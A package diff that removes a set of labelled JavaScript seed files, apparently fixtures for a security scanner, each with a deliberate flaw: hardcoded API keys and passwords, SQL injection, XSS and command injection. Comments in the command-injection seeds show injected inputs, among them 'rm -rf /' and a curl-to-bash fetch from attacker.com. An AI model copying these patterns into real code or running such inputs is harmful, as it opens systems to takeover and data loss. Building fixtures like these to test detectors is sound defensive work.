thuban 0.4.9 → 0.4.11

package/packages/crucible/seeds/js/seed-005.js

@@ -1,31 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: high
-// language: javascript
-// expected: hardcoded SendGrid API key and SMTP password
-
-const nodemailer = require('nodemailer');
-const sgMail = require('@sendgrid/mail');
-
-const SENDGRID_API_KEY = 'SG.abcDEFghiJKLmnoPQRstUVwxYZ.1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
-sgMail.setApiKey(SENDGRID_API_KEY);
-
-const smtpTransport = nodemailer.createTransport({
-  host: 'smtp.company.com',
-  port: 587,
-  auth: {
-    user: 'noreply@company.com',
-    pass: 'EmailPassw0rd#2024',
-  },
-});
-
-async function sendWelcomeEmail(to, name) {
-  await sgMail.send({
-    to,
-    from: 'noreply@company.com',
-    subject: `Welcome, ${name}!`,
-    text: `Thanks for signing up, ${name}.`,
-  });
-}
-
-module.exports = { sendWelcomeEmail, smtpTransport };

package/packages/crucible/seeds/js/seed-006.js

@@ -1,28 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: critical
-// language: javascript
-// expected: hardcoded GitHub personal access token
-
-const { Octokit } = require('@octokit/rest');
-
-// Personal access token with repo + admin scopes
-const GITHUB_TOKEN = 'ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890';
-
-const octokit = new Octokit({ auth: GITHUB_TOKEN });
-
-async function listRepos(org) {
-  const { data } = await octokit.repos.listForOrg({ org, per_page: 100 });
-  return data.map(r => r.full_name);
-}
-
-async function createWebhook(owner, repo, url) {
-  return octokit.repos.createWebhook({
-    owner,
-    repo,
-    config: { url, content_type: 'json' },
-    events: ['push', 'pull_request'],
-  });
-}
-
-module.exports = { octokit, listRepos, createWebhook };

package/packages/crucible/seeds/js/seed-007.js

@@ -1,26 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: high
-// language: javascript
-// expected: hardcoded encryption key and IV used for AES encryption
-
-const crypto = require('crypto');
-
-const ENCRYPTION_KEY = '12345678901234567890123456789012'; // 32-byte key
-const IV = '1234567890123456'; // 16-byte IV — fixed, never rotated
-
-function encrypt(text) {
-  const cipher = crypto.createCipheriv('aes-256-cbc', ENCRYPTION_KEY, IV);
-  let encrypted = cipher.update(text, 'utf8', 'hex');
-  encrypted += cipher.final('hex');
-  return encrypted;
-}
-
-function decrypt(encryptedText) {
-  const decipher = crypto.createDecipheriv('aes-256-cbc', ENCRYPTION_KEY, IV);
-  let decrypted = decipher.update(encryptedText, 'hex', 'utf8');
-  decrypted += decipher.final('utf8');
-  return decrypted;
-}
-
-module.exports = { encrypt, decrypt };

package/packages/crucible/seeds/js/seed-008.js

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: hardcoded_secret
-// severity: high
-// language: javascript
-// expected: hardcoded OAuth client secret and admin password
-
-const express = require('express');
-const router = express.Router();
-
-const OAUTH_CLIENT_ID = 'app-client-id-production-abc123';
-const OAUTH_CLIENT_SECRET = 'oauth-client-secret-XyZ9876543210abcdefGHIJKL';
-const ADMIN_PASSWORD = 'AdminP@ssw0rd2024!';
-
-router.post('/oauth/token', async (req, res) => {
-  const { client_id, client_secret, grant_type } = req.body;
-  if (client_id !== OAUTH_CLIENT_ID || client_secret !== OAUTH_CLIENT_SECRET) {
-    return res.status(401).json({ error: 'invalid_client' });
-  }
-  // issue token...
-  res.json({ access_token: 'generated_token', token_type: 'bearer' });
-});
-
-router.post('/admin/login', (req, res) => {
-  if (req.body.password !== ADMIN_PASSWORD) {
-    return res.status(403).json({ error: 'forbidden' });
-  }
-  res.json({ success: true });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-009.js

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection via string concatenation in user query
-
-const mysql = require('mysql2');
-const db = mysql.createConnection({ host: 'localhost', user: 'app', password: 'app', database: 'shop' });
-
-function getProductByName(productName) {
-  const query = "SELECT * FROM products WHERE name = '" + productName + "'";
-  return new Promise((resolve, reject) => {
-    db.query(query, (err, results) => {
-      if (err) return reject(err);
-      resolve(results);
-    });
-  });
-}
-
-function searchProducts(term, category) {
-  const query = `SELECT id, name, price FROM products WHERE name LIKE '%${term}%' AND category = '${category}' ORDER BY created_at DESC`;
-  return new Promise((resolve, reject) => {
-    db.query(query, (err, results) => {
-      if (err) return reject(err);
-      resolve(results);
-    });
-  });
-}
-
-module.exports = { getProductByName, searchProducts };

package/packages/crucible/seeds/js/seed-010.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection via string concatenation in login query
-
-const { Client } = require('pg');
-const client = new Client({ connectionString: process.env.DATABASE_URL });
-
-async function authenticateUser(username, password) {
-  // Direct string interpolation — attacker can bypass auth
-  const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
-  const result = await client.query(query);
-  return result.rows.length > 0 ? result.rows[0] : null;
-}
-
-async function getUserOrders(userId, status) {
-  const sql = "SELECT o.* FROM orders o WHERE o.user_id = " + userId +
-              " AND o.status = '" + status + "' ORDER BY o.created_at DESC";
-  const result = await client.query(sql);
-  return result.rows;
-}
-
-async function deleteUserData(userId) {
-  await client.query("DELETE FROM sessions WHERE user_id = " + userId);
-  await client.query("DELETE FROM tokens WHERE user_id = " + userId);
-}
-
-module.exports = { authenticateUser, getUserOrders, deleteUserData };

package/packages/crucible/seeds/js/seed-011.js

@@ -1,34 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection via dynamic ORDER BY and LIMIT clauses
-
-const knex = require('knex')({ client: 'pg', connection: process.env.DATABASE_URL });
-
-async function listUsers(sortField, sortDir, limitCount) {
-  // Dangerous: sortField and sortDir are directly interpolated
-  const rawQuery = `SELECT id, email, name, created_at FROM users ORDER BY ${sortField} ${sortDir} LIMIT ${limitCount}`;
-  const result = await knex.raw(rawQuery);
-  return result.rows;
-}
-
-async function searchByEmail(domain) {
-  const result = await knex.raw(
-    `SELECT * FROM users WHERE email LIKE '%@` + domain + `'`
-  );
-  return result.rows;
-}
-
-async function getReport(fromDate, toDate, groupBy) {
-  const sql = `
-    SELECT ${groupBy}, COUNT(*) as cnt, SUM(amount) as total
-    FROM transactions
-    WHERE created_at BETWEEN '${fromDate}' AND '${toDate}'
-    GROUP BY ${groupBy}
-  `;
-  const result = await knex.raw(sql);
-  return result.rows;
-}
-
-module.exports = { listUsers, searchByEmail, getReport };

package/packages/crucible/seeds/js/seed-012.js

@@ -1,32 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection in Express route via query parameter concatenation
-
-const express = require('express');
-const sqlite3 = require('sqlite3').verbose();
-const router = express.Router();
-const db = new sqlite3.Database('./data.db');
-
-router.get('/articles', (req, res) => {
-  const { tag, author } = req.query;
-  let query = 'SELECT * FROM articles WHERE published = 1';
-  if (tag) query += ` AND tag = '${tag}'`;
-  if (author) query += ` AND author = '${author}'`;
-  db.all(query, [], (err, rows) => {
-    if (err) return res.status(500).json({ error: err.message });
-    res.json(rows);
-  });
-});
-
-router.get('/articles/:id', (req, res) => {
-  const query = 'SELECT * FROM articles WHERE id = ' + req.params.id;
-  db.get(query, [], (err, row) => {
-    if (err) return res.status(500).json({ error: err.message });
-    if (!row) return res.status(404).json({ error: 'Not found' });
-    res.json(row);
-  });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-013.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: high
-// language: javascript
-// expected: SQL injection via string format in stored procedure call
-
-const mssql = require('mssql');
-
-const config = {
-  server: process.env.DB_HOST,
-  database: process.env.DB_NAME,
-  authentication: { type: 'default', options: { userName: process.env.DB_USER, password: process.env.DB_PASS } },
-};
-
-async function findEmployee(lastName, department) {
-  const pool = await mssql.connect(config);
-  // Vulnerable: lastName and department inserted directly
-  const query = `EXEC sp_GetEmployee @LastName='${lastName}', @Department='${department}'`;
-  const result = await pool.request().query(query);
-  return result.recordset;
-}
-
-async function updateSalary(employeeId, amount) {
-  const pool = await mssql.connect(config);
-  const sql = "UPDATE employees SET salary = " + amount + " WHERE id = " + employeeId;
-  await pool.request().query(sql);
-}
-
-module.exports = { findEmployee, updateSalary };

package/packages/crucible/seeds/js/seed-014.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection via Sequelize literal() with user input
-
-const { sequelize, User } = require('../models');
-const { QueryTypes } = require('sequelize');
-
-async function searchUsers(searchTerm) {
-  // Using literal() bypasses parameterization
-  const results = await sequelize.query(
-    `SELECT * FROM "Users" WHERE name ILIKE '%${searchTerm}%' OR email ILIKE '%${searchTerm}%'`,
-    { type: QueryTypes.SELECT }
-  );
-  return results;
-}
-
-async function getUsersByRole(role, tenantId) {
-  const sql = `
-    SELECT u.*, r.name as role_name
-    FROM "Users" u
-    JOIN "Roles" r ON u.role_id = r.id
-    WHERE r.name = '` + role + `'
-    AND u.tenant_id = ` + tenantId;
-  return sequelize.query(sql, { type: QueryTypes.SELECT });
-}
-
-module.exports = { searchUsers, getUsersByRole };

package/packages/crucible/seeds/js/seed-015.js

@@ -1,31 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: sql_injection
-// severity: critical
-// language: javascript
-// expected: SQL injection via bulk IN clause construction with user-supplied IDs
-
-const { Pool } = require('pg');
-const pool = new Pool({ connectionString: process.env.DATABASE_URL });
-
-async function getItemsByIds(ids) {
-  // ids is a user-supplied array — never sanitized
-  const idList = ids.join(',');
-  const query = `SELECT * FROM items WHERE id IN (${idList})`;
-  const { rows } = await pool.query(query);
-  return rows;
-}
-
-async function archiveItems(itemIds, archiveReason) {
-  const idList = itemIds.join(', ');
-  const sql = `UPDATE items SET archived = true, archive_reason = '${archiveReason}' WHERE id IN (${idList})`;
-  await pool.query(sql);
-}
-
-async function getProductStats(category, fromDate) {
-  const query = "SELECT COUNT(*), AVG(price) FROM products WHERE category='" +
-    category + "' AND created_at > '" + fromDate + "'";
-  const { rows } = await pool.query(query);
-  return rows[0];
-}
-
-module.exports = { getItemsByIds, archiveItems, getProductStats };

package/packages/crucible/seeds/js/seed-016.js

@@ -1,31 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: high
-// language: javascript
-// expected: XSS via innerHTML assignment with unsanitized user input
-
-function renderUserProfile(userData) {
-  const container = document.getElementById('profile-container');
-  // Direct assignment of user-controlled data to innerHTML
-  container.innerHTML = `
-    <div class="profile">
-      <h2>${userData.displayName}</h2>
-      <p class="bio">${userData.bio}</p>
-      <a href="${userData.website}">Visit Website</a>
-    </div>
-  `;
-}
-
-function showSearchResults(query, results) {
-  const resultsDiv = document.getElementById('results');
-  resultsDiv.innerHTML = `<p>Results for: <b>${query}</b></p>`;
-  results.forEach(item => {
-    resultsDiv.innerHTML += `<div class="item"><h3>${item.title}</h3><p>${item.description}</p></div>`;
-  });
-}
-
-function displayNotification(message) {
-  document.getElementById('notification').innerHTML = message;
-}
-
-module.exports = { renderUserProfile, showSearchResults, displayNotification };

package/packages/crucible/seeds/js/seed-017.js

@@ -1,30 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: critical
-// language: javascript
-// expected: XSS via document.write with URL parameter
-
-function loadPage() {
-  const params = new URLSearchParams(window.location.search);
-  const name = params.get('name');
-  const ref = params.get('ref');
-
-  // Writes unescaped URL params directly into the document
-  document.write('<h1>Hello, ' + name + '!</h1>');
-  document.write('<p>You came from: ' + ref + '</p>');
-}
-
-function renderError(errorMsg) {
-  // errorMsg may come from server reflecting user input
-  document.write(`<div class="error">${errorMsg}</div>`);
-}
-
-function initPage() {
-  const hash = decodeURIComponent(window.location.hash.substring(1));
-  document.getElementById('content').innerHTML = hash;
-}
-
-window.addEventListener('DOMContentLoaded', () => {
-  loadPage();
-  initPage();
-});

package/packages/crucible/seeds/js/seed-018.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: high
-// language: javascript
-// expected: XSS via jQuery .html() with user-controlled data
-
-const $ = require('jquery');
-
-function renderComments(comments) {
-  const container = $('#comments-section');
-  container.empty();
-  comments.forEach(comment => {
-    // .html() interprets the string as HTML — XSS if comment.body contains script tags
-    container.append($('<div>').html(comment.body));
-    container.append($('<small>').html('— ' + comment.authorName));
-  });
-}
-
-function updateUserCard(user) {
-  $('#user-name').html(user.name);
-  $('#user-title').html(user.jobTitle);
-  $('#user-about').html(user.aboutMe);
-}
-
-function showToast(message) {
-  $('#toast').html(message).fadeIn().delay(3000).fadeOut();
-}
-
-module.exports = { renderComments, updateUserCard, showToast };

package/packages/crucible/seeds/js/seed-019.js

@@ -1,32 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: high
-// language: javascript
-// expected: XSS via server-side template rendering with unsanitized variable
-
-const express = require('express');
-const router = express.Router();
-
-router.get('/search', (req, res) => {
-  const query = req.query.q || '';
-  // Directly embedding user input into HTML response without encoding
-  res.send(`
-    <!DOCTYPE html>
-    <html>
-      <head><title>Search</title></head>
-      <body>
-        <h1>Search Results</h1>
-        <p>Showing results for: <b>${query}</b></p>
-        <div id="results"></div>
-        <script>
-          const searchTerm = "${query}";
-          fetch('/api/search?q=' + searchTerm)
-            .then(r => r.json())
-            .then(data => document.getElementById('results').innerHTML = data.html);
-        </script>
-      </body>
-    </html>
-  `);
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-020.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: medium
-// language: javascript
-// expected: XSS via eval of user-controlled JSON embedded in script tag
-
-const express = require('express');
-const router = express.Router();
-
-router.get('/dashboard', (req, res) => {
-  const userConfig = req.query.config || '{}';
-  const userName = req.query.name || 'Guest';
-
-  // userConfig is injected directly into a script block
-  res.send(`
-    <html>
-      <body>
-        <h1>Welcome, ${userName}</h1>
-        <script>
-          var config = ${userConfig};
-          var username = "${userName}";
-          initDashboard(config, username);
-        </script>
-      </body>
-    </html>
-  `);
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-021.js

@@ -1,31 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: high
-// language: javascript
-// expected: XSS via postMessage handler writing to DOM without validation
-
-window.addEventListener('message', (event) => {
-  // Missing origin check and no sanitization
-  const data = event.data;
-
-  if (data.type === 'updateContent') {
-    document.getElementById('dynamic-content').innerHTML = data.html;
-  }
-
-  if (data.type === 'showAlert') {
-    document.getElementById('alert-box').innerHTML = `
-      <div class="alert alert-${data.level}">${data.message}</div>
-    `;
-  }
-
-  if (data.type === 'renderTemplate') {
-    const container = document.querySelector(data.selector);
-    if (container) {
-      container.outerHTML = data.template;
-    }
-  }
-});
-
-function sendResponse(targetWindow, payload) {
-  targetWindow.postMessage(payload, '*'); // Wildcard origin
-}

package/packages/crucible/seeds/js/seed-022.js

@@ -1,31 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: xss
-// severity: high
-// language: javascript
-// expected: XSS via Handlebars triple-stache {{{ }}} unescaped output
-
-const Handlebars = require('handlebars');
-const express = require('express');
-const router = express.Router();
-
-const profileTemplate = Handlebars.compile(`
-  <div class="user-profile">
-    <h2>{{{user.displayName}}}</h2>
-    <div class="bio">{{{user.bio}}}</div>
-    <div class="links">{{{user.socialLinks}}}</div>
-  </div>
-`);
-
-const commentTemplate = Handlebars.compile(`
-  <article class="comment">
-    <header>{{{comment.authorHtml}}}</header>
-    <section>{{{comment.body}}}</section>
-  </article>
-`);
-
-router.get('/profile/:id', async (req, res) => {
-  const user = await getUserById(req.params.id);
-  res.send(profileTemplate({ user }));
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-023.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via exec() with unsanitized user input
-
-const { exec } = require('child_process');
-const express = require('express');
-const router = express.Router();
-
-router.get('/ping', (req, res) => {
-  const host = req.query.host;
-  // Attacker can pass: "8.8.8.8; cat /etc/passwd"
-  exec(`ping -c 4 ${host}`, (err, stdout, stderr) => {
-    if (err) return res.status(500).send(stderr);
-    res.send(`<pre>${stdout}</pre>`);
-  });
-});
-
-router.post('/convert', (req, res) => {
-  const { inputFile, outputFormat } = req.body;
-  // e.g. inputFile = "file.pdf; rm -rf /"
-  exec(`convert ${inputFile} output.${outputFormat}`, (err, stdout) => {
-    if (err) return res.status(500).json({ error: err.message });
-    res.json({ success: true, output: stdout });
-  });
-});
-
-module.exports = router;

package/packages/crucible/seeds/js/seed-024.js

@@ -1,29 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via execSync with template literal
-
-const { execSync } = require('child_process');
-
-function generateThumbnail(imagePath, width, height) {
-  // imagePath could be: "photo.jpg; curl attacker.com/shell.sh | bash"
-  const cmd = `ffmpeg -i ${imagePath} -vf scale=${width}:${height} thumb_${imagePath}`;
-  const output = execSync(cmd, { encoding: 'utf8' });
-  return output;
-}
-
-function compressLogs(logDir, archiveName) {
-  const result = execSync(`tar -czf ${archiveName}.tar.gz ${logDir}`);
-  return result;
-}
-
-function runGitCommand(repoPath, branch) {
-  const output = execSync(`cd ${repoPath} && git checkout ${branch} && git pull`, {
-    encoding: 'utf8',
-    timeout: 30000,
-  });
-  return output;
-}
-
-module.exports = { generateThumbnail, compressLogs, runGitCommand };

package/packages/crucible/seeds/js/seed-025.js

@@ -1,34 +0,0 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via spawn shell:true with user input
-
-const { spawn } = require('child_process');
-
-function runUserScript(scriptName, args) {
-  // shell: true causes the full string to be passed to /bin/sh
-  const proc = spawn(`node scripts/${scriptName} ${args.join(' ')}`, {
-    shell: true,
-    cwd: process.cwd(),
-  });
-
-  return new Promise((resolve, reject) => {
-    let output = '';
-    proc.stdout.on('data', d => (output += d));
-    proc.stderr.on('data', d => (output += d));
-    proc.on('close', code => (code === 0 ? resolve(output) : reject(new Error(output))));
-  });
-}
-
-function lintFile(filePath) {
-  const proc = spawn(`eslint ${filePath} --format json`, { shell: true });
-  return new Promise((resolve, reject) => {
-    let out = '';
-    proc.stdout.on('data', d => (out += d));
-    proc.on('close', () => resolve(JSON.parse(out)));
-    proc.on('error', reject);
-  });
-}
-
-module.exports = { runUserScript, lintFile };